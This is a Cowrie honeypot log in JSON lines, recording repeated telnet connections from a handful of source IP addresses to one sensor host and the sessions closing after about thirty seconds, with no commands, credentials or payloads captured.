{"eventid":"cowrie.session.closed","duration":30.785674333572388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:34.203072Z","src_ip":"85.208.100.77","session":"90f62b0c37e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.758076190948486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:34.892069Z","src_ip":"81.30.157.18","session":"427797f71b04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.835705757141113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:35.064098Z","src_ip":"149.102.133.101","session":"9c36124f9dfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.708282709121704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:35.095104Z","src_ip":"173.249.44.46","session":"a574e415782a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":55718,"dst_ip":"159.203.135.109","dst_port":23,"session":"34aad7725c5b","protocol":"telnet","message":"New connection: 149.102.133.101:55718 (159.203.135.109:23) [session: 34aad7725c5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:35.425733Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":38340,"dst_ip":"159.203.135.109","dst_port":23,"session":"982d940eb635","protocol":"telnet","message":"New connection: 173.249.44.46:38340 (159.203.135.109:23) [session: 982d940eb635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:35.780370Z"}
{"eventid":"cowrie.session.closed","duration":30.666987895965576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:36.051256Z","src_ip":"81.30.157.18","session":"8ed3690735e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":38806,"dst_ip":"159.203.135.109","dst_port":23,"session":"a72e97068876","protocol":"telnet","message":"New connection: 173.249.44.46:38806 (159.203.135.109:23) [session: a72e97068876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:36.128391Z"}
{"eventid":"cowrie.session.closed","duration":30.98189926147461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:36.148875Z","src_ip":"37.187.24.227","session":"4b960a45baca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.823596239089966,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:36.156135Z","src_ip":"173.249.44.46","session":"1774ee5a0a15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":50332,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae6f91b67015","protocol":"telnet","message":"New connection: 82.163.78.83:50332 (159.203.135.109:23) [session: ae6f91b67015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:36.161000Z"}
{"eventid":"cowrie.session.closed","duration":30.67542290687561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:36.177694Z","src_ip":"81.30.157.18","session":"ce23a0c44ebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926862716674805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:36.448951Z","src_ip":"82.163.78.83","session":"4c57c3776ba9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574828386306763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:37.040342Z","src_ip":"46.101.32.143","session":"28bb94c94a57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.808751583099365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:37.049610Z","src_ip":"81.30.157.18","session":"0df74b5be7c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09471035003662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:37.075501Z","src_ip":"149.102.133.101","session":"99c1d61e6552","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56532,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c2d20ecf081","protocol":"telnet","message":"New connection: 81.30.157.18:56532 (159.203.135.109:23) [session: 5c2d20ecf081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:37.159812Z"}
{"eventid":"cowrie.session.closed","duration":30.623361587524414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:37.217826Z","src_ip":"206.189.139.22","session":"b5bcceefa9ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":53378,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bd88a5ab145","protocol":"telnet","message":"New connection: 82.163.78.83:53378 (159.203.135.109:23) [session: 2bd88a5ab145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:37.476443Z"}
{"eventid":"cowrie.session.closed","duration":30.313036680221558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:38.049559Z","src_ip":"173.249.44.46","session":"70c408f2cf1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":49490,"dst_ip":"159.203.135.109","dst_port":23,"session":"b58b0992d637","protocol":"telnet","message":"New connection: 37.187.24.227:49490 (159.203.135.109:23) [session: b58b0992d637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:38.176496Z"}
{"eventid":"cowrie.session.closed","duration":30.773041009902954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:39.062518Z","src_ip":"37.187.24.227","session":"440863d068be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.989494562149048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:39.074959Z","src_ip":"82.163.78.83","session":"bb6e82c5a8ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":55210,"dst_ip":"159.203.135.109","dst_port":23,"session":"a07a6b8caa3f","protocol":"telnet","message":"New connection: 82.163.78.83:55210 (159.203.135.109:23) [session: a07a6b8caa3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:39.080484Z"}
{"eventid":"cowrie.session.closed","duration":31.149550914764404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:39.120468Z","src_ip":"81.30.157.18","session":"f8a63d53c140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56540,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7094c33fcd7","protocol":"telnet","message":"New connection: 81.30.157.18:56540 (159.203.135.109:23) [session: f7094c33fcd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:39.131214Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":43642,"dst_ip":"159.203.135.109","dst_port":23,"session":"0137c1356540","protocol":"telnet","message":"New connection: 173.249.44.46:43642 (159.203.135.109:23) [session: 0137c1356540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:39.150832Z"}
{"eventid":"cowrie.session.closed","duration":31.1043803691864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:39.238347Z","src_ip":"173.249.44.46","session":"c545cf968271","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.779101848602295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:40.109898Z","src_ip":"81.30.157.18","session":"9f21e9df881e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":56300,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbcd9d6ce8f4","protocol":"telnet","message":"New connection: 82.163.78.83:56300 (159.203.135.109:23) [session: dbcd9d6ce8f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:40.134264Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":35732,"dst_ip":"159.203.135.109","dst_port":23,"session":"220d567ef27c","protocol":"telnet","message":"New connection: 85.208.100.77:35732 (159.203.135.109:23) [session: 220d567ef27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:40.301549Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":55724,"dst_ip":"159.203.135.109","dst_port":23,"session":"f652aa926c51","protocol":"telnet","message":"New connection: 149.102.133.101:55724 (159.203.135.109:23) [session: f652aa926c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:40.541944Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":45752,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8a61b9128b1","protocol":"telnet","message":"New connection: 173.249.44.46:45752 (159.203.135.109:23) [session: b8a61b9128b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:40.678253Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":55862,"dst_ip":"159.203.135.109","dst_port":23,"session":"72df88c542eb","protocol":"telnet","message":"New connection: 37.187.24.227:55862 (159.203.135.109:23) [session: 72df88c542eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:41.013790Z"}
{"eventid":"cowrie.session.closed","duration":30.303940534591675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:41.047873Z","src_ip":"173.249.44.46","session":"915765d24090","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42325520515442,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:41.069586Z","src_ip":"85.208.100.77","session":"828ba6dadab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832470655441284,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:41.074601Z","src_ip":"81.30.157.18","session":"eafb04ba380e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.317877769470215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:41.127496Z","src_ip":"82.163.78.83","session":"ead15bc46590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62790012359619,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:41.133952Z","src_ip":"85.208.100.77","session":"3c9ac54b86f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.967485189437866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:41.203350Z","src_ip":"82.163.78.83","session":"ac1ffb9d420b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04673409461975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:41.208447Z","src_ip":"81.30.157.18","session":"958865ae6966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49454951286316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:41.227698Z","src_ip":"81.30.157.18","session":"2b54cf527081","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":58424,"dst_ip":"159.203.135.109","dst_port":23,"session":"67ba8e0dfb37","protocol":"telnet","message":"New connection: 82.163.78.83:58424 (159.203.135.109:23) [session: 67ba8e0dfb37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:41.632969Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56546,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae45c0b838d3","protocol":"telnet","message":"New connection: 81.30.157.18:56546 (159.203.135.109:23) [session: ae45c0b838d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:41.746503Z"}
{"eventid":"cowrie.session.closed","duration":30.535308599472046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:42.056836Z","src_ip":"81.30.157.18","session":"4efeb5314187","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.854207277297974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:42.096370Z","src_ip":"82.163.78.83","session":"25f6961a017f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.597611665725708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:42.154635Z","src_ip":"206.189.139.22","session":"35effff2dd61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":58752,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb2b7aeb7413","protocol":"telnet","message":"New connection: 37.187.24.227:58752 (159.203.135.109:23) [session: cb2b7aeb7413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:42.221132Z"}
{"eventid":"cowrie.session.closed","duration":31.05624771118164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:42.229038Z","src_ip":"85.208.100.77","session":"e10205d7f0e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":55736,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dc70b7f6d89","protocol":"telnet","message":"New connection: 149.102.133.101:55736 (159.203.135.109:23) [session: 3dc70b7f6d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:42.718098Z"}
{"eventid":"cowrie.session.closed","duration":31.38762664794922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:42.788364Z","src_ip":"85.208.100.77","session":"b125bdc072d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.84.114","src_port":52512,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6feff1b60cc","protocol":"telnet","message":"New connection: 209.126.84.114:52512 (159.203.135.109:23) [session: f6feff1b60cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:42.914111Z"}
{"eventid":"cowrie.session.closed","duration":30.856159210205078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:43.057346Z","src_ip":"173.249.44.46","session":"2e33cddee805","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41606307029724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:43.082393Z","src_ip":"173.249.44.46","session":"c13c4466cd40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":58948,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d9462681890","protocol":"telnet","message":"New connection: 82.163.78.83:58948 (159.203.135.109:23) [session: 4d9462681890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:43.119963Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":41868,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c2196e375ad","protocol":"telnet","message":"New connection: 85.208.100.77:41868 (159.203.135.109:23) [session: 4c2196e375ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:43.271507Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56560,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c449e947444","protocol":"telnet","message":"New connection: 81.30.157.18:56560 (159.203.135.109:23) [session: 1c449e947444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:43.323270Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":34520,"dst_ip":"159.203.135.109","dst_port":23,"session":"66446a663823","protocol":"telnet","message":"New connection: 37.187.24.227:34520 (159.203.135.109:23) [session: 66446a663823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:43.698106Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":55746,"dst_ip":"159.203.135.109","dst_port":23,"session":"55b80b78f3ea","protocol":"telnet","message":"New connection: 149.102.133.101:55746 (159.203.135.109:23) [session: 55b80b78f3ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:43.724061Z"}
{"eventid":"cowrie.session.closed","duration":30.7010235786438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:44.046056Z","src_ip":"81.30.157.18","session":"b4c48d624d52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.966699838638306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:44.158058Z","src_ip":"173.249.44.46","session":"f1c0dac470f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101794719696045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:44.194271Z","src_ip":"82.163.78.83","session":"c991995542dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":44488,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ec907f5d384","protocol":"telnet","message":"New connection: 85.208.100.77:44488 (159.203.135.109:23) [session: 6ec907f5d384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:44.444275Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":33782,"dst_ip":"159.203.135.109","dst_port":23,"session":"72800a33df11","protocol":"telnet","message":"New connection: 82.163.78.83:33782 (159.203.135.109:23) [session: 72800a33df11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:44.546907Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":50374,"dst_ip":"159.203.135.109","dst_port":23,"session":"da3733d4402e","protocol":"telnet","message":"New connection: 81.30.157.18:50374 (159.203.135.109:23) [session: da3733d4402e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:44.814726Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":51674,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fbc18d94444","protocol":"telnet","message":"New connection: 173.249.44.46:51674 (159.203.135.109:23) [session: 1fbc18d94444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:45.065066Z"}
{"eventid":"cowrie.session.closed","duration":30.185962677001953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:45.071417Z","src_ip":"173.249.44.46","session":"1116938a9b10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86125135421753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:45.094306Z","src_ip":"173.249.44.46","session":"e7a4973b9f82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751209020614624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:45.159140Z","src_ip":"85.208.100.77","session":"cf5c6932ee81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":51964,"dst_ip":"159.203.135.109","dst_port":23,"session":"443c44f0af39","protocol":"telnet","message":"New connection: 173.249.44.46:51964 (159.203.135.109:23) [session: 443c44f0af39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:45.256433Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":48532,"dst_ip":"159.203.135.109","dst_port":23,"session":"a57a58dc1965","protocol":"telnet","message":"New connection: 149.102.133.101:48532 (159.203.135.109:23) [session: a57a58dc1965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:45.690188Z"}
{"eventid":"cowrie.session.closed","duration":30.415024757385254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:46.067370Z","src_ip":"173.249.44.46","session":"bbb047123384","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.710866451263428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:46.115282Z","src_ip":"173.249.44.46","session":"547c3b22806d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.788317441940308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:46.321913Z","src_ip":"206.189.139.22","session":"04d19707ece1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":53502,"dst_ip":"159.203.135.109","dst_port":23,"session":"b31658aaf328","protocol":"telnet","message":"New connection: 173.249.44.46:53502 (159.203.135.109:23) [session: b31658aaf328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:46.326881Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":53960,"dst_ip":"159.203.135.109","dst_port":23,"session":"01b6e9bbb81f","protocol":"telnet","message":"New connection: 173.249.44.46:53960 (159.203.135.109:23) [session: 01b6e9bbb81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:46.559122Z"}
{"eventid":"cowrie.session.closed","duration":30.904834032058716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:47.235366Z","src_ip":"85.208.100.77","session":"1062018abe0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":36832,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc333ba9acfd","protocol":"telnet","message":"New connection: 82.163.78.83:36832 (159.203.135.109:23) [session: cc333ba9acfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:47.273609Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":36946,"dst_ip":"159.203.135.109","dst_port":23,"session":"932896dff1b7","protocol":"telnet","message":"New connection: 82.163.78.83:36946 (159.203.135.109:23) [session: 932896dff1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:47.296843Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":55258,"dst_ip":"159.203.135.109","dst_port":23,"session":"356ba3687c37","protocol":"telnet","message":"New connection: 173.249.44.46:55258 (159.203.135.109:23) [session: 356ba3687c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:47.512376Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":51892,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe88a2c99b8f","protocol":"telnet","message":"New connection: 85.208.100.77:51892 (159.203.135.109:23) [session: fe88a2c99b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:47.811197Z"}
{"eventid":"cowrie.session.closed","duration":30.780379056930542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:48.051501Z","src_ip":"82.163.78.83","session":"75cadc15d08e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.451610803604126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:48.058959Z","src_ip":"149.102.133.101","session":"24cf88d67b69","protocol":"telnet"}
